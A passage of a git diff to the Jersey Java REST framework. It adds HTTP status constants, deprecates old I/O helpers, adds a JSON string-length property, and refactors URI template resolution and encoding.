* 502 Bad Gateway. + * See HTTP Semantics. + */ + public static final Response.StatusType BAD_GATEWAY_502 = new ResponseStatusImpl(502, "Bad Gateway"); + /** + * 503 Service Unavailable. + * See HTTP Semantics. + */ + public static final Response.StatusType SERVICE_UNAVAILABLE_503 = new ResponseStatusImpl(503, "Service Unavailable"); + /** + * 504 Gateway Timeout. + * See HTTP Semantics. + */ + public static final Response.StatusType GATEWAY_TIMEOUT_504 = new ResponseStatusImpl(504, "Gateway Timeout"); + /** + * 505 HTTP Version Not Supported. + * See HTTP Semantics. + */ + public static final Response.StatusType HTTP_VERSION_NOT_SUPPORTED_505 + = new ResponseStatusImpl(505, "HTTP Version Not Supported"); + /** + * 506 Variant Also Negotiates. + * See Transparent Content Negotiation in HTTP. + */ + public static final Response.StatusType VARIANT_ALSO_NEGOTIATES_506 + = new ResponseStatusImpl(506, "Variant Also Negotiates"); + /** + * 507 Insufficient Storage. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType INSUFFICIENT_STORAGE_507 = new ResponseStatusImpl(507, "Insufficient Storage"); + /** + * 508 Loop Detected. + * See Binding Extensions to Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType LOOP_DETECTED_508 = new ResponseStatusImpl(508, "Loop Detected"); + /** + * 510 Not Extended. + * See An HTTP Extension Framework. + */ + public static final Response.StatusType NOT_EXTENDED_510 = new ResponseStatusImpl(510, "Not Extended"); + /** + * 511 Network Authentication Required. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType NETWORK_AUTHENTICATION_REQUIRED_511 + = new ResponseStatusImpl(511, "Network Authentication Required"); + } + + private static class ResponseStatusImpl implements Response.StatusType { + private final int statusCode; + private final String reasonPhrase; + private final Response.Status.Family family; + + private ResponseStatusImpl(int statusCode, String reasonPhrase) { + this.statusCode = statusCode; + this.reasonPhrase = reasonPhrase; + this.family = Response.Status.Family.familyOf(statusCode); + } + + @Override + public int getStatusCode() { + return statusCode; + } + + @Override + public Response.Status.Family getFamily() { + return family; + } + + @Override + public String getReasonPhrase() { + return reasonPhrase; + } + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/http/package-info.java b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java new file mode 100644 index 0000000000..27044131f4 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Common Jersey core http classes. + */ +package org.glassfish.jersey.http; diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java index ee2380073c..891ec3a706 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,13 +16,15 @@ package org.glassfish.jersey.internal.util.collection; +import java.util.function.Supplier; + /** * A generic value provider. * * @param value type. * @author Marek Potociar */ -public interface Value { +public interface Value extends Supplier { /** * Get the stored value. * diff --git a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java index 733a465e82..6723312564 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,6 +26,18 @@ @PropertiesClass public final class MessageProperties { + /** + * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version + * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding + * implementations in some products use this non-compliant version, hence the switch. + *

+ * The default value is {@code false}. + *

+ * The name of the configuration property is {@value}. + */ + public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib"; + + /** * If set to {@code true} then XML root element tag name for collections will * be derived from {@link jakarta.xml.bind.annotation.XmlRootElement @XmlRootElement} @@ -80,15 +92,22 @@ public final class MessageProperties { public static final int IO_DEFAULT_BUFFER_SIZE = 8192; /** - * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version - * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding - * implementations in some products use this non-compliant version, hence the switch. - *

- * The default value is {@code false}. - *

- * The name of the configuration property is {@value}. + *

+ * Integer value used to override maximum number of string length during the JSON processing the JSON provider accepts. + *

+ *

+ * The default value is not set and the JSON provider default maximum value is used. + *

+ *

+ * If supported by Jackson provider, the default value can differ for each Jackson version. For instance, + * Jackson 14 does not support this setting and the default value is {@link Integer#MAX_VALUE}, Jackson 15.0 + * has the default value 5_000_000, Jackson 15.2 has the default value 20_000_000. + *

+ * + * @since 2.41 */ - public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib"; + public static String JSON_MAX_STRING_LENGTH = "jersey.config.json.string.length"; + /** * If set to {@code true}, {@link jakarta.ws.rs.ext.MessageBodyReader MessageBodyReaders} and diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java index 0d007479ee..c030e454b2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,7 +43,7 @@ public abstract class AbstractFormProvider extends AbstractMessageReaderWrite public > M readFrom(M map, MediaType mediaType, boolean decode, InputStream entityStream) throws IOException { - final String encoded = readFromAsString(entityStream, mediaType); + final String encoded = ReaderWriter.readFromAsString(entityStream, mediaType); final String charsetName = ReaderWriter.getCharset(mediaType).name(); @@ -90,6 +90,6 @@ public > void writeTo( } } - writeToAsString(sb.toString(), entityStream, mediaType); + ReaderWriter.writeToAsString(sb.toString(), entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java index 9179b9c377..f7e26736bf 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,6 +24,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.ext.MessageBodyReader; @@ -42,8 +43,11 @@ public abstract class AbstractMessageReaderWriterProvider implements MessageB /** * The UTF-8 Charset. + * + * @deprecated use {@code StandardCharsets.UTF_8} instead. */ - public static final Charset UTF8 = ReaderWriter.UTF8; + @Deprecated + public static final Charset UTF8 = StandardCharsets.UTF_8; /** * Reader bytes from an input stream and write then to an output stream. @@ -51,7 +55,10 @@ public abstract class AbstractMessageReaderWriterProvider implements MessageB * @param in the input stream to read from. * @param out the output stream to write to. * @throws IOException if there is an error reading or writing bytes. + * + * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead. */ + @Deprecated public static void writeTo(InputStream in, OutputStream out) throws IOException { ReaderWriter.writeTo(in, out); } @@ -62,7 +69,10 @@ public static void writeTo(InputStream in, OutputStream out) throws IOException * @param in the reader to read from. * @param out the writer to write to. * @throws IOException if there is an error reading or writing characters. + * + * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead. */ + @Deprecated public static void writeTo(Reader in, Writer out) throws IOException { ReaderWriter.writeTo(in, out); } @@ -71,11 +81,14 @@ public static void writeTo(Reader in, Writer out) throws IOException { * Get the character set from a media type. *

* The character set is obtained from the media type parameter "charset". - * If the parameter is not present the {@link #UTF8} charset is utilized. + * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized. * * @param m the media type. * @return the character set. + * + * @deprecated use {@code ReaderWriter.getCharset(m)} instead */ + @Deprecated public static Charset getCharset(MediaType m) { return ReaderWriter.getCharset(m); } @@ -89,7 +102,10 @@ public static Charset getCharset(MediaType m) { * @return the string. * * @throws IOException if there is an error reading from the input stream. + * + * @deprecated use {@code ReaderWriter.readFromAsString(in, type)} instead */ + @Deprecated public static String readFromAsString(InputStream in, MediaType type) throws IOException { return ReaderWriter.readFromAsString(in, type); } @@ -102,7 +118,10 @@ public static String readFromAsString(InputStream in, MediaType type) throws IOE * @param type the media type that determines the character set defining * how to decode bytes to characters. * @throws IOException in case of a write failure. + * + * @deprecated use {@code ReaderWriter.writeToAsString(s, out, type)} instead */ + @Deprecated public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException { ReaderWriter.writeToAsString(s, out, type); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java index eaa3ee1fe1..c6ec13098e 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -144,7 +144,7 @@ public Object readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { - final String entityString = readFromAsString(entityStream, mediaType); + final String entityString = ReaderWriter.readFromAsString(entityStream, mediaType); if (entityString.isEmpty()) { throw new NoContentException(LocalizationMessages.ERROR_READING_ENTITY_MISSING()); } @@ -210,6 +210,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException, WebApplicationException { - writeToAsString(o.toString(), entityStream, mediaType); + ReaderWriter.writeToAsString(o.toString(), entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java index f0a39a985c..0055caeabd 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -52,7 +52,7 @@ public byte[] readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); - writeTo(entityStream, out); + ReaderWriter.writeTo(entityStream, out); return out.toByteArray(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java index 3eb7a1ad7c..dadfd3dc09 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -162,7 +162,7 @@ public void writeTo( final OutputStream entityStream) throws IOException { final InputStream in = t.getInputStream(); try { - writeTo(in, entityStream); + ReaderWriter.writeTo(in, entityStream); } finally { in.close(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java index 03912ad6aa..c705994208 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -50,7 +50,7 @@ public Enum readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { - final String value = readFromAsString(entityStream, mediaType); + final String value = ReaderWriter.readFromAsString(entityStream, mediaType); return Enum.valueOf(type, value); } @@ -67,6 +67,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException, WebApplicationException { - writeToAsString(anEnum.name(), entityStream, mediaType); + ReaderWriter.writeToAsString(anEnum.name(), entityStream, mediaType); } } \ No newline at end of file diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java index 8bf91da48c..1f1961e1e8 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,16 +16,14 @@ package org.glassfish.jersey.message.internal; -import java.io.BufferedInputStream; -import java.io.BufferedOutputStream; import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.annotation.Annotation; import java.lang.reflect.Type; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; import jakarta.ws.rs.Consumes; import jakarta.ws.rs.Produces; @@ -62,13 +60,8 @@ public File readFrom(final Class type, final MultivaluedMap httpHeaders, final InputStream entityStream) throws IOException { final File file = Utils.createTempFile(); - final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file)); - try { - writeTo(entityStream, stream); - } finally { - stream.close(); - } + Files.copy(entityStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING); return file; } @@ -89,13 +82,7 @@ public void writeTo(final File t, final MediaType mediaType, final MultivaluedMap httpHeaders, final OutputStream entityStream) throws IOException { - final InputStream stream = new BufferedInputStream(new FileInputStream(t), ReaderWriter.BUFFER_SIZE); - - try { - writeTo(stream, entityStream); - } finally { - stream.close(); - } + Files.copy(t.toPath(), entityStream); } @Override diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java index 94f5ddfcda..c07dcbfc1f 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -79,7 +79,7 @@ public void writeTo( MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { try { - writeTo(t, entityStream); + ReaderWriter.writeTo(t, entityStream); } finally { t.close(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java index 3833685d99..3f87843772 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -66,7 +66,7 @@ public Reader readFrom( new ByteArrayInputStream(new byte[0]), MessageUtils.getCharset(mediaType))); } - return new BufferedReader(new InputStreamReader(entityStream, getCharset(mediaType))); + return new BufferedReader(new InputStreamReader(entityStream, ReaderWriter.getCharset(mediaType))); } @Override @@ -86,8 +86,8 @@ public void writeTo( final OutputStream entityStream) throws IOException { try { final OutputStreamWriter out = new OutputStreamWriter(entityStream, - getCharset(mediaType)); - writeTo(t, out); + ReaderWriter.getCharset(mediaType)); + ReaderWriter.writeTo(t, out); out.flush(); } finally { t.close(); diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java index f6f271a142..018c9f0577 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java @@ -19,12 +19,12 @@ import java.io.Closeable; import java.io.IOException; import java.io.InputStream; -import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.Reader; import java.io.Writer; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.security.AccessController; import java.util.ArrayList; import java.util.Arrays; @@ -54,8 +54,11 @@ public final class ReaderWriter { private static final Logger LOGGER = Logger.getLogger(ReaderWriter.class.getName()); /** * The UTF-8 Charset. + * + * @deprecated use {@code StandardCharsets.UTF_8} instead */ - public static final Charset UTF8 = Charset.forName("UTF-8"); + @Deprecated + public static final Charset UTF8 = StandardCharsets.UTF_8; /** * The buffer size for arrays of byte and character. */ @@ -116,14 +119,14 @@ public static void writeTo(Reader in, Writer out) throws IOException { * Get the character set from a media type. *

* The character set is obtained from the media type parameter "charset". - * If the parameter is not present the {@link #UTF8} charset is utilized. + * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized. * * @param m the media type. * @return the character set. */ public static Charset getCharset(MediaType m) { String name = (m == null) ? null : m.getParameters().get(MediaType.CHARSET_PARAMETER); - return (name == null) ? UTF8 : Charset.forName(name); + return (name == null) ? StandardCharsets.UTF_8 : Charset.forName(name); } /** @@ -167,7 +170,7 @@ public static String readFromAsString(Reader reader) throws IOException { /** * Java 9+ InputStream::readAllBytes - * TODO Replace when Java 8 not any longer supported (3.1+) + * TODO Replace in Jersey 4.0, as the sole difference to OpenJDK is working around a bug in the input stream. */ private static byte[] readAllBytes(InputStream inputStream) throws IOException { List bufs = null; @@ -243,7 +246,7 @@ private static byte[] readAllBytes(InputStream inputStream) throws IOException { */ public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException { Writer osw = new OutputStreamWriter(out, getCharset(type)); - osw.write(s, 0, s.length()); + osw.write(s); osw.flush(); } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java index f638860532..8edb39c8a4 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -51,7 +51,7 @@ public String readFrom( MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException { - return readFromAsString(entityStream, mediaType); + return ReaderWriter.readFromAsString(entityStream, mediaType); } @Override @@ -73,6 +73,6 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException { - writeToAsString(t, entityStream, mediaType); + ReaderWriter.writeToAsString(t, entityStream, mediaType); } } diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java index 21834b5db3..1249432b1e 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -118,8 +118,8 @@ public static TracingLogger getInstance(final PropertiesDelegate propertiesDeleg //not server side return EMPTY; } - final TracingLogger tracingLogger = (TracingLogger) propertiesDelegate.getProperty(PROPERTY_NAME); - return (tracingLogger != null) ? tracingLogger : EMPTY; + final Object tracingLogger = propertiesDelegate.getProperty(PROPERTY_NAME); + return TracingLogger.class.isInstance(tracingLogger) ? (TracingLogger) tracingLogger : EMPTY; } /** diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java index 0f42487da6..523614caae 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -404,7 +404,7 @@ private static boolean[][] initEncodingTables() { tables[Type.QUERY_PARAM_SPACE_ENCODED.ordinal()] = tables[Type.QUERY_PARAM.ordinal()]; - tables[Type.FRAGMENT.ordinal()] = tables[Type.QUERY.ordinal()]; + tables[Type.FRAGMENT.ordinal()] = tables[Type.PATH.ordinal()]; return tables; } diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java index 1ed213b7c0..49bf77f46b 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,6 +17,7 @@ package org.glassfish.jersey.uri; import java.net.URI; +import java.net.URLEncoder; import java.util.ArrayDeque; import java.util.Collections; import java.util.Comparator; @@ -24,11 +25,12 @@ import java.util.HashMap; import java.util.List; import java.util.Map; -import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.regex.PatternSyntaxException; +import java.util.stream.Collectors; import org.glassfish.jersey.internal.guava.Preconditions; +import org.glassfish.jersey.uri.internal.UriPart; import org.glassfish.jersey.uri.internal.UriTemplateParser; /** @@ -124,7 +126,7 @@ private static interface TemplateValueStrategy { * @throws java.lang.IllegalArgumentException in case no value has been found and the strategy * does not support {@code null} values. */ - public String valueFor(String templateVariable, String matchedGroup); + public String valueFor(UriPart templateVariable, String matchedGroup); } /** @@ -156,7 +158,12 @@ private static interface TemplateValueStrategy { /** * The template variables in the URI template. */ - private final List templateVariables; + private final List templateVariables; + + /** + * Get all UriParts, not only the variables + */ + private final List uriParts; /** * The number of explicit regular expressions declared for template * variables. @@ -182,6 +189,7 @@ private UriTemplate() { this.pattern = PatternWithGroups.EMPTY; this.endsWithSlash = false; this.templateVariables = Collections.emptyList(); + this.uriParts = Collections.emptyList(); this.numOfExplicitRegexes = this.numOfCharacters = this.numOfRegexGroups = 0; } @@ -240,6 +248,8 @@ protected UriTemplate(UriTemplateParser templateParser) throws PatternSyntaxExce this.endsWithSlash = template.charAt(template.length() - 1) == '/'; this.templateVariables = Collections.unmodifiableList(templateParser.getNames()); + + this.uriParts = templateParser.getUriParts(); } /** @@ -357,7 +367,7 @@ public static URI normalize(final URI uri) { final StringBuilder pathBuilder = new StringBuilder(); for (final String segment : resolvedSegments) { - pathBuilder.append('/').append(segment); + pathBuilder.append('/').append(UriComponent.encode(segment, UriComponent.Type.PATH)); } String resultString = createURIWithStringValues(uri.getScheme(), @@ -426,7 +436,7 @@ public final boolean endsWithSlash() { * @return the list of template variables. */ public final List getTemplateVariables() { - return templateVariables; + return templateVariables.stream().map(UriPart::getPart).collect(Collectors.toList()); } /** @@ -438,8 +448,8 @@ public final List getTemplateVariables() { */ @SuppressWarnings("UnusedDeclaration") public final boolean isTemplateVariablePresent(String name) { - for (String s : templateVariables) { - if (s.equals(name)) { + for (UriPart tv : templateVariables) { + if (tv.getPart().equals(name)) { return true; } } @@ -507,7 +517,7 @@ public final boolean match(CharSequence uri, Map templateVariabl throw new IllegalArgumentException(); } - return pattern.match(uri, templateVariables, templateVariableToValue); + return pattern.match(uri, getTemplateVariables(), templateVariableToValue); } /** @@ -547,10 +557,14 @@ public final boolean match(CharSequence uri, List groupValues) throws */ public final String createURI(final Map values) { final StringBuilder sb = new StringBuilder(); - resolveTemplate(normalizedTemplate, sb, new TemplateValueStrategy() { + resolveTemplate(sb, new TemplateValueStrategy() { @Override - public String valueFor(String templateVariable, String matchedGroup) { - return values.get(templateVariable); + public String valueFor(UriPart templateVariable, String matchedGroup) { + String value = values.get(templateVariable.getPart()); + if (value == null) { + return ""; + } + return templateVariable.resolve(value, null, false); } }); return sb.toString(); @@ -592,16 +606,16 @@ public final String createURI(final String[] values, final int offset, final int private final Map mapValues = new HashMap(); @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { // Check if a template variable has already occurred // If so use the value to ensure that two or more declarations of // a template variable have the same value - String tValue = mapValues.get(templateVariable); + String tValue = mapValues.get(templateVariable.getPart()); if (tValue == null) { if (v < lengthPlusOffset) { tValue = values[v++]; if (tValue != null) { - mapValues.put(templateVariable, tValue); + mapValues.put(templateVariable.getPart(), tValue); } } } @@ -611,84 +625,24 @@ public String valueFor(String templateVariable, String matchedGroup) { }; final StringBuilder sb = new StringBuilder(); - resolveTemplate(normalizedTemplate, sb, ns); + resolveTemplate(sb, ns); return sb.toString(); } /** * Build a URI based on the parameters provided by the variable name strategy. * - * @param normalizedTemplate normalized URI template. A normalized template is a template without any explicit regular - * expressions. * @param builder URI string builder to be used. * @param valueStrategy The template value producer strategy to use. */ - private static void resolveTemplate( - String normalizedTemplate, - StringBuilder builder, - TemplateValueStrategy valueStrategy) { - // Find all template variables - Matcher m = TEMPLATE_NAMES_PATTERN.matcher(normalizedTemplate); - - int i = 0; - while (m.find()) { - builder.append(normalizedTemplate, i, m.start()); - String variableName = m.group(1); - // TODO matrix - char firstChar = variableName.charAt(0); - if (firstChar == '?' || firstChar == ';') { - final char prefix; - final char separator; - final String emptyValueAssignment; - if (firstChar == '?') { - // query - prefix = '?'; - separator = '&'; - emptyValueAssignment = "="; - } else { - // matrix - prefix = ';'; - separator = ';'; - emptyValueAssignment = ""; - } - - int index = builder.length(); - String[] variables = variableName.substring(1).split(", ?"); - for (String variable : variables) { - try { - String value = valueStrategy.valueFor(variable, m.group()); - if (value != null) { - if (index != builder.length()) { - builder.append(separator); - } - - builder.append(variable); - if (value.isEmpty()) { - builder.append(emptyValueAssignment); - } else { - builder.append('='); - builder.append(value); - } - } - } catch (IllegalArgumentException ex) { - // no value found => ignore the variable - } - } - - if (index != builder.length() && (index == 0 || builder.charAt(index - 1) != prefix)) { - builder.insert(index, prefix); - } + private void resolveTemplate(StringBuilder builder, TemplateValueStrategy valueStrategy) { + for (UriPart uriPart : uriParts) { + if (uriPart.isTemplate()) { + builder.append(valueStrategy.valueFor(uriPart, uriPart.getGroup())); } else { - String value = valueStrategy.valueFor(variableName, m.group()); - - if (value != null) { - builder.append(value); - } + builder.append(uriPart.getPart()); } - - i = m.end(); } - builder.append(normalizedTemplate, i, normalizedTemplate.length()); } @Override @@ -756,16 +710,9 @@ public static String createURI( final String path, final String query, final String fragment, final Map values, final boolean encode, final boolean encodeSlashInPath) { - Map stringValues = new HashMap(); - for (Map.Entry e : values.entrySet()) { - if (e.getValue() != null) { - 